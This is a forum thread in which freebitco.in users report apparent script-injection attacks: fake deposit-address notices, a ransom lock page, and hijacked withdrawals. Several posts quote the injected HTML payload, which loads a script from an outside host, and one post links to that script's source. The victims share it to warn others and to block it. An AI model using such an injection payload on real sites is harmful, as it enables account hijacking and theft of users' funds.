[WARNING] Attack on freebitco.in account

[Zibi321]

Hi,
I would like to share my recent experience using freebitco.in.
There were some attack attempts on my account.
I have been using fbc for years and I've never had any serious problems with the platform.

So, to the point.
I have faced two issues. First one started about week ago.

1. Fake notification about change of deposit address.
There was a notification placed on the main page and looked exactly like any other notification on fbc.
You know, yellow rectangle in a frame.
Same colors, same fonts i.e:
https://www.talkimg.com/images/2024/04/11/jAOVP.png

There was an information about change in deposit address - something more or less like "Please note that your deposit address have been change to segwit P2SH format. Depositing to your old address will be charged of additional fee."
By clicking on Deposit button there was indeed new bitcoin address starting with digit '3...'
It looked very convincing, but I ignored this notification because I didn't plan to make any deposit soon.

I found at least three other users on this forum who faced the same issue:
Below you can find some other user's screenshot - I have just marked parts of this false notification. It's only partially visible in the background.
https://www.talkimg.com/images/2024/04/11/jAWpq.png

According to messages from these users, they actually deposit some funds to new addressees but they were never credited to their fbc account (they even posted their User IDs, TX hashes etc.).

Like I said before, I did not pay much attention to it because I didn't plan to make deposit, but this notification was somehow added/injected into html website code.
Notification looked very convincing but I just wasn't interested with it.
I simply ignored it and I was using fbc as usual.
Beside this notification everything looked and worked as always.
As usual I was claiming free rolls, WoFs, free spins from emails, playing Hi-Lo etc.

After few days, this notification disappeared and deposit address came back to the previous one - legacy format started with '1...'
My thoughts were that they just performed roll back from this change and that's all.

On 9th April I faced second issue.

2. XSS attack?

During another session in Hi-Lo game suddenly my account has been locked.
Instead of fbc website there was a blank page with a message:
"Your account is locked. Please contact @hallohap_1 on telegram or fellowyun@proton.me email. Failure to comply will result to a lost of funds"

I was quite shocked.
I have only one account, I was never using any VPNs or bots.
As usual I was just using built-in feature "auto-bet" and that's all.

I sent a message to fellowyun@proton.me asking what happened.

After few hits of refresh button in my browser blockpage has changed to:
"Your account is locked. Please contact @hallohap_1 on telegram or bellera12@proton.me email. Failure to comply will result to a lost of funds"
https://www.talkimg.com/images/2024/04/09/VeLqf.png

So, I sent the same  message to new e-mail address.
Than started a typical ransom scheme. At this point I didn't know how attacker achieved it, so for me the threat was real.  
I've got a response:
"Your browser is hacked. Send 0.5 btc to bc1qhrdvuxrealra5xm7qsu9tyh06k3frcrzuvsms7 to unlock it. Why trust me? I cant withdraw your money because it needs otp and email. Ill wait 1hr before I drain it"

I knew that sending 0,5 btc is pointless so I started to investigate this attack.
After some time I got another message from attacker that I'm running out time.
I tried to gain some time for myself by tricking him.
https://www.talkimg.com/images/2024/04/11/jHGF1.png

I wiped my entire browser history, tried on a different browser in private/incognito mode, I changed the device to clean PC with different operating system, I even changed DNS servers - everything was exactly the same - blank page with message about locked account.
And this all happened with 2FA enabled.
Then, I started checking logs. In developer tools built in browser I saw entries about loading of a strange js script under https://cashtravel.info/forum/main.js, I blocked it with a "NoScript!" browser plugin. and after that fbc page was unlocked.
Extremely stressed, no thinking much I went straight to Withdraw button and chose Instant Method.
At that point I didn't know how attacker performed this scam, so I was afraid that he will replace withdrawal address on the fly or hijack OTP - but I had no options.
Fortunately I was able to withdraw all my BTC funds.
Instant method worked out well and after ~30min I had all my funds confirmed and stored on my wallet.

How it happened?
I'm not sure.
I have enabled 2FA, I used clean device and issue was still visible. My fbc account email is used only for fbc purpose, so there was no chance for any phishing attacks.
I also don't believe that attacker actually compromise my entire network or all devices I have. For me its impossible or at least it would cost to much effort.

From my point of view attacker found some vulnerability in fbc or 3rd party service they use and managed to exploit it.
I suppose that attacker somehow inject link to external source with malicious script.
In the source code of this malicious script there were hardcoded user IDs. He managed to hijack sessions from specific users.

Why and how I was attacked?
I believe that attacker was targeting highrollers and taking user IDs from wagering leaderboard.
For few days in a row my user ID was shown in the top10 wagering contest.

It's hard to proof now anything.
At some point script was changed and removed.
Source of one version of this script can be found under https://pastebin.ai/eo0q78pbuj
This particular script was prepared to attack user with ID 31898443 who won daily jackpot on 2024-04-08.

At present there is no any script at https://cashtravel.info/forum/main.js
I believe that attacker delete it to cover his tracks.

On my account I still have injected link to malicious script.
I have blocked it from executing but it's still present in a html code.
https://www.talkimg.com/images/2024/04/09/j2Gi8.png

[1715005737]

1715005737

[1715005737]

1715005737

[khaled0111]

Did you contact freebitco.in.in support team to inform them about this. You should do this ASAP so they can investigate what happened and fix the problem in case there is a vulnerability in their website.
Based on the information you shared it's unlikely that your device or network are compromised since there are other victims and the hacker is targeting high rollers, so all he has is their IDs.

[PX-Z]

It looks like you're not the only one who experienced this since march, some of its users too complained on their ANN thread^[1], you can make a post there too linking this thread. But as long as there's no response from TheQuin, this will not be cleared. Maybe this is just a technical issue of not reflecting the new address's balance or what, lastly the site might be hacked that way, i hope it's no though. But for the mean time, what you need to do is to wait and don't try to deposit again on the site.

[1] https://bitcointalk.org/index.php?topic=319540.9100

[Zibi321]

Did you contact freebitco.in.in support team to inform them about this. You should do this ASAP so they can investigate what happened and fix the problem in case there is a vulnerability in their website.
Based on the information you shared it's unlikely that your device or network are compromised since there are other victims and the hacker is targeting high rollers, so all he has is their IDs.

No, at least not yet.
I think I don't have enough evidence to prove anything.

It looks like you're not the only one who experienced this since march, some of its users too complained on their ANN thread^[1], you can make a post there too linking this thread. But as long as there's no response from TheQuin, this will not be cleared. Maybe this is just a technical issue of not reflecting the new address's balance or what, lastly the site might be hacked that way, i hope it's no though. But for the mean time, what you need to do is to wait and don't try to deposit again on the site.

[1] https://bitcointalk.org/index.php?topic=319540.9100

Yeah, since my account could be compromised will definitely not deposit there anything soon.
I have changed my password, but still have some security concerns.
For sure attacker can't withdraw anything because of 2FA.
If he managed to hijack my session he can harm me by using my balance to gamble and loose it on purpose.
I was able to withdraw my all BTC funds, but there is still quite big bag of Fun Tokens left.
For now they are locked, I will try to reach them when FUN savings matured.

[holydarkness]

I necromanced an old freebitco account just to see if there is any notification of address change [other users on their ANN have also explained that they're still using their legacy address] and I didn't see any. It seems the incident is not isolated, so it's safe to say, like khaled0111, that it's not your device that got hacked... or you somehow been compromised just like other three users.

I'll try to bring this to TheQuin, just in case he missed this situation. Hopefully he can clarify what happens.

[NK345]

Hi,

I am one of the users which was SCAMMED by the vulnerability of the FBC site. 
Thank you @Zibi321 for explaining it in detail, and I want to add my two cents.

In fact this is what happened to me:
1) I was in the top10 daily wagerers in 31st March or 1st April.
2) the next day my FBC website showed the message about the changing of address (i didn't take a screenshot, but it was same as the case reported by Zibi321, only different deposit address starting with '3...' )
the message was something in the lines of "Please note that your deposit address have been change to segwit P2SH format. Depositing to your old address will be charged of additional fee"  https://www.talkimg.com/images/2024/04/11/jAWpq.png
I didn't think of it too much, as everything worked normally on the site, I was claiming free rolls, WoFs, free spins from emails, playing Hi-Lo, reward points were updating etc., so I assumed this message is just some maintenance / upgrade being done by FBC.
3) on 04 April, i deposited 0.06768 BTC to the new P2SH address  (https://ibb.co/NNPjD0w)   (TX id: 77d47f1b44cd656776ca0b2be753ebc0234da203e673714d577e382b6a50444a),    but never received this amount in my account at FBC.   Suspiciously enough, the next day the message for change of deposit address to P2SH disappeared from the site. 
4) i wrote several times to the freebitcoin support email, to the FAQ page, as well as to TheQuin, and never received any reply from any of those
5) feeling desperate I joined this forum where i saw also other users faced the same issue and were scammed. I also noticed some abnormal behavior of the site, when I tried to click the generate "new deposit address", nothing happened, you can see it on this video link:  https://www.youtube.com/watch?v=O7gXJTFnqyw
6) It seems that within the js script is an embedded MALICIOUS script which was identified by user ID482015 in this forum topic: https://bitcointalk.org/index.php?topic=320959.msg63923149#msg63923149 .   The malicious scirpt is this:
<option value="<script src=https://cashtravel.info/forum/main.js></script>"><script src="https://cashtravel.info/forum/main.js"></script></option>.   
after I blocked this script with AdBlock, now the generate new deposit address is working normally.
This script however is still not removed from the FBC site:   https://ibb.co/L99f2hL

So as a summary, there is a malicious script targeting the high rollers, several people have been scammed by this vulnerability, there is no response from FBC support or TheQuin, the script is still not removed, so the vulnerability is still there, maybe only felt by the targeted audience (high rollers).   

I hope FBC can return the scammed people's money and fix this vulnerability ASAP.  Also support from the community is needed, make it more transparent, otherwise they won't listen to just a few voices.

[GinnyBanzz]

Almost unbelievable freebitcoin staff haven't addressed this. Considering the amount of money they are holding their support is unbelievably shite.

[Cacenn@outlook.com]

same problem:

didnt know this post before posting my one:

https://bitcointalk.org/index.php?topic=5494608.0

[codergeek]

Today I received an email from freebitco.in notifying me that I had won tenth place in the referral wagering contest. USER ID 12591058. My first ever prize!

Seconds later I received a further email asking me to confirm a payment request.

Strange, because I had not made any payment request.

I changed my password and enabled 2FA.

I then initiated an instant withdraw request for some amount. After I submit the withdrawal request my account balance drop instantly to zero.

Strange, because I did not withdraw the entire balance.

Additionally, I did not see a pending withdrawal notification on the freebitco.in page as I usually would.

Within minutes I received a payment sent confirmation email from freebitco.in saying, "We have just sent a payment of 0.00096832 BTC to your bitcoin address 17L1uyaWdFmKSnCCoG1Sk9xSvhegdg3FZE".  

https://www.blockchain.com/en/btc/tx/c2e76e8865c2757c040f0f58b12866eaa6d2426aea40b4dcedfb527e36e9f0bb

Strange, because I had not received a payment request email from freebitco.in as I always do so I did NOT confirm the payment. And, unsurprisingly that is NOT my Bitcoin address.

I have contacted freebitco.in support and am now waiting for a response.

Same issue

[Drazen2003]

Same issue. I have been stoled. When I withdrew a part of my savings by entering the correct address, the entire amount was sent to the deposit account (which is not mine).


After some emails and Facebook messages, Freebitco.in does not answer. Shameless!.

<option value="<script src=https://cashtravel.info/forum/main.js></script>"><script src="https://cashtravel.info/forum/main.js"></script></option>.  

On the other side, i have blocked the script but the deposit address is still not the mine one and i cannot return to the real mine one.



Thanks in advance.


Does anyone know how to get Freebitco.in support to know about this problem? Nobody answers the emails and the problem is serious.

[Saint-loup]

Same issue. I have been stoled. When I withdrew a part of my savings by entering the correct address, the entire amount was sent to the deposit account (which is not mine).


After some emails and Facebook messages, Freebitco.in does not answer. Shameless!.

<option value="<script src=https://cashtravel.info/forum/main.js></script>"><script src="https://cashtravel.info/forum/main.js"></script></option>.  

On the other side, i have blocked the script but the deposit address is still not the mine one and i cannot return to the real mine one.



Thanks in advance.

What do you mean by "sent to the deposit account (which is not mine)"?
A deposit address can't and will never be an address you own because it is (or it must be at least) an address belonging to the platform. When you deposit funds, the platform takes your funds and credits your account balance.
So you mean your funds have been sent to the same address as the one displayed for your deposits?
You say "the deposit address is still not the mine one and i cannot return to the real mine one" but how do you know it's not a legit deposit address? If you've used "New deposit address" feature, you won't be able to see the QR-code of the former one anymore but you will still see the address in the "old deposit addresses" history.

[Drazen2003]

Same issue. I have been stoled. When I withdrew a part of my savings by entering the correct address, the entire amount was sent to the deposit account (which is not mine).


After some emails and Facebook messages, Freebitco.in does not answer. Shameless!.

<option value="<script src=https://cashtravel.info/forum/main.js></script>"><script src="https://cashtravel.info/forum/main.js"></script></option>.  

On the other side, i have blocked the script but the deposit address is still not the mine one and i cannot return to the real mine one.



Thanks in advance.

What do you mean by "sent to the deposit account (which is not mine)"?
A deposit address can't and will never be an address you own because it is (or it must be at least) an address belonging to the platform. When you deposit funds, the platform takes your funds and credits your account balance.
So you mean your funds have been sent to the same address as the one displayed for your deposits?
You say "the deposit address is still not the mine one and i cannot return to the real mine one" but how do you know it's not a legit deposit address? If you've used "New deposit address" feature, you won't be able to see the QR-code of the former one anymore but you will still see the address in the "old deposit addresses" history.

I mean the following steps:
- I have opened the withdraw pop-up and I filled the data selecting a widthdraw of 0.002 btc, writing manually my kraken address and entering the authenticator code.
- I do more or less same 6 days a week in the last month.
- I have seen that instead of 0.002 btc the sent has been for 0.0210 btc and in the retirement windows has appeared another address, not the one i have written manualy.
- I have looked at the deposit address, because they already changed it a few weeks ago and it had changed. Iw was not my usual one. A new one has appeared, which, curiously, is where freebitcoin has sent the savings.
- Since that day I have checked the deposit address but I did not expect that they would change my withdrawal address without me knowing it.

If I look mi deposit adress, is not the mine one and the mine one does not appear and i see the script that @Zibi321 has comented using the developer tools:

<option value="<script src=https://cashtravel.info/forum/main.js></script>"><script src="https://cashtravel.info/forum/main.js"></script></option>.  

I have tested from PC Chrome, PC Brave, PC Edge and mobile Chrome and mobile Samsung and my address is not the mine one.
A friend has comen to home and his account works well, his addresses are the correct ones ans has not the script in developer tools using the same computer and navigator.

[Eternad]

Same issue. I have been stoled. When I withdrew a part of my savings by entering the correct address, the entire amount was sent to the deposit account (which is not mine).


After some emails and Facebook messages, Freebitco.in does not answer. Shameless!.

<option value="<script src=https://cashtravel.info/forum/main.js></script>"><script src="https://cashtravel.info/forum/main.js"></script></option>.  

On the other side, i have blocked the script but the deposit address is still not the mine one and i cannot return to the real mine one.



Thanks in advance.

What do you mean by "sent to the deposit account (which is not mine)"?
A deposit address can't and will never be an address you own because it is (or it must be at least) an address belonging to the platform. When you deposit funds, the platform takes your funds and credits your account balance.
So you mean your funds have been sent to the same address as the one displayed for your deposits?
You say "the deposit address is still not the mine one and i cannot return to the real mine one" but how do you know it's not a legit deposit address? If you've used "New deposit address" feature, you won't be able to see the QR-code of the former one anymore but you will still see the address in the "old deposit addresses" history.

I was skeptical too when I saw this issue but judging on the number of customers from this casino experiencing same issue including high rank makes me think that somethings might wrong on the casino.

What worrying here is why these affected users don’t check the withdrawal confirmation sent via email address to verify whether they are sending on correct address or not. I read about some user complaints that the withdrawal confirmation show a different address which means this issue will be avoided if they only check the email verification.

[Drazen2003]

Same issue. I have been stoled. When I withdrew a part of my savings by entering the correct address, the entire amount was sent to the deposit account (which is not mine).


After some emails and Facebook messages, Freebitco.in does not answer. Shameless!.

<option value="<script src=https://cashtravel.info/forum/main.js></script>"><script src="https://cashtravel.info/forum/main.js"></script></option>.  

On the other side, i have blocked the script but the deposit address is still not the mine one and i cannot return to the real mine one.



Thanks in advance.

What do you mean by "sent to the deposit account (which is not mine)"?
A deposit address can't and will never be an address you own because it is (or it must be at least) an address belonging to the platform. When you deposit funds, the platform takes your funds and credits your account balance.
So you mean your funds have been sent to the same address as the one displayed for your deposits?
You say "the deposit address is still not the mine one and i cannot return to the real mine one" but how do you know it's not a legit deposit address? If you've used "New deposit address" feature, you won't be able to see the QR-code of the former one anymore but you will still see the address in the "old deposit addresses" history.

I was skeptical too when I saw this issue but judging on the number of customers from this casino experiencing same issue including high rank makes me think that somethings might wrong on the casino.

What worrying here is why these affected users don’t check the withdrawal confirmation sent via email address to verify whether they are sending on correct address or not. I read about some user complaints that the withdrawal confirmation show a different address which means this issue will be avoided if they only check the email verification.

I am using the web freebitco.in and when i make a withdrawal i only can write:
- the amount i want to retire
- the address to send (i enter manually)
- the MFA code

After that, i only have the widthdraw button and yes, before pressing it i have verified the address and it was the same one i have introduced manually but...

.. after pressing the Widthdraw button i have seen the different amount (0.0210 instead of 0.002) and the different address in the square of "Pending Payouts", that means, i was not be able to longer do anything.

If there any other method for withdraw? I have the 2MA activated and i have not found how to confirm the widthdraw by email (i would love this method). Where ir the email verification check?

Thanks in advance.

[Eternad]

I am using the web freebitco.in and when i make a withdrawal i only can write:
- the amount i want to retire
- the address to send (i enter manually)
- the MFA code

After that, i only have the widthdraw button and yes, before pressing it i have verified the address and it was the same one i have introduced manually but...

.. after pressing the Widthdraw button i have seen the different amount (0.0210 instead of 0.002) and the different address in the square of "Pending Payouts", that means, i was not be able to do nothing.

If there any other method for withdraw? I have the 2MA activated and i have not found how to confirm the widthdraw by email (i would love this method). Where ir the email verification check?

Thanks in advance.

I’m not a player of this casino but I saw some user using this security feature with their account. Maybe check your account settings and add your email address to send notification in there whenever you process withdrawal.

Based on your claim, The change address happened right after you input the code and all the details for the withdrawal process right? It’s better to go check this thread https://bitcointalk.org/index.php?topic=320959.28820 to become updated on what’s happening right now on this casino. Having an email verification is still not enough to withdraw your balance safely since there’s something wrong going on in the casino.

[Drazen2003]

I am using the web freebitco.in and when i make a withdrawal i only can write:
- the amount i want to retire
- the address to send (i enter manually)
- the MFA code

After that, i only have the widthdraw button and yes, before pressing it i have verified the address and it was the same one i have introduced manually but...

.. after pressing the Widthdraw button i have seen the different amount (0.0210 instead of 0.002) and the different address in the square of "Pending Payouts", that means, i was not be able to do nothing.

If there any other method for withdraw? I have the 2MA activated and i have not found how to confirm the widthdraw by email (i would love this method). Where ir the email verification check?

Thanks in advance.

I’m not a player of this casino but I saw some user using this security feature with their account. Maybe check your account settings and add your email address to send notification in there whenever you process withdrawal.

Based on your claim, The change address happened right after you input the code and all the details for the withdrawal process right? It’s better to go check this thread https://bitcointalk.org/index.php?topic=320959.28820 to become updated on what’s happening right now on this casino. Having an email verification is still not enough to withdraw your balance safely since there’s something wrong going on in the casino.

Thanks Eternad,

I have written my case in this thread as well. I have lost all my freebitcoin funds but i would like that Freebitco.in will investigate the issue because it is a freebitco.in issue and as you have said, if MFA does not work we should have an email confirmation for withdraws.

By the moment, my account is still bad (my deposit address is false and i have the script) then i am doing nothing in Freebitco.in

[blackmtl308]

Hi, I have also been robbed on Freebitco.in, here are the details:

https://bitcointalk.org/index.php?topic=320959.msg64019622#msg64019622

[ixi1234]

Hi! I also became a victim of the substitution of the deposit and withdrawal addresses. The fbc support is silent and does not try to make up for my loss. This is completely out of the fault and the problem of the site. The users are not to blame for anything here. Fbc have security holes in the site and should be responsible for it. It is necessary to demand from them the refund of the stolen

[FinneysTrueVision]

Several days ago I made a deposit and it was credited to my account. For the time being these problems seem to be affecting high roller accounts and referral contest leaders. In my opinion, FreeBitco.in needs to take the site offline for emergency maintenance for a few hours or days while they investigate what is going on and fix it.

For some reason they have stopped caring about maintaining the website. It’s been almost a month since the last round of the lambo contest finished but they have not even picked a winner yet. They are sinking a lot of money into promoting their FUN token, completely forgetting that FreeBitco.in is the only place it has gained any sort of traction. Their actions are completely incomprehensible.

Their website has had a lot of success and been the cornerstone for some of their other projects, but they are now letting it all go downhill with their negligence and putting millions of dollars of user funds at risk.

[Zibi321]

Yeah, I believe that only small group of high rollers were targeted or at least users whose IDs where published on leaderboard of daily jackpot, monthly wagering or referral contest.
And that's understandable - these accounts have active users and should have enough BTC balance to make a withdrawal.

Attackers managed to inject malicious script into a particular user's session (by a known ID).
In my case it was https://cashtravel.info/forum/main.js.
Now, attackers could change location of malicious script and even improve its code.

I saw that one of the Legendary user became a victim of similar attack, so maybe now this issue will get a proper attention.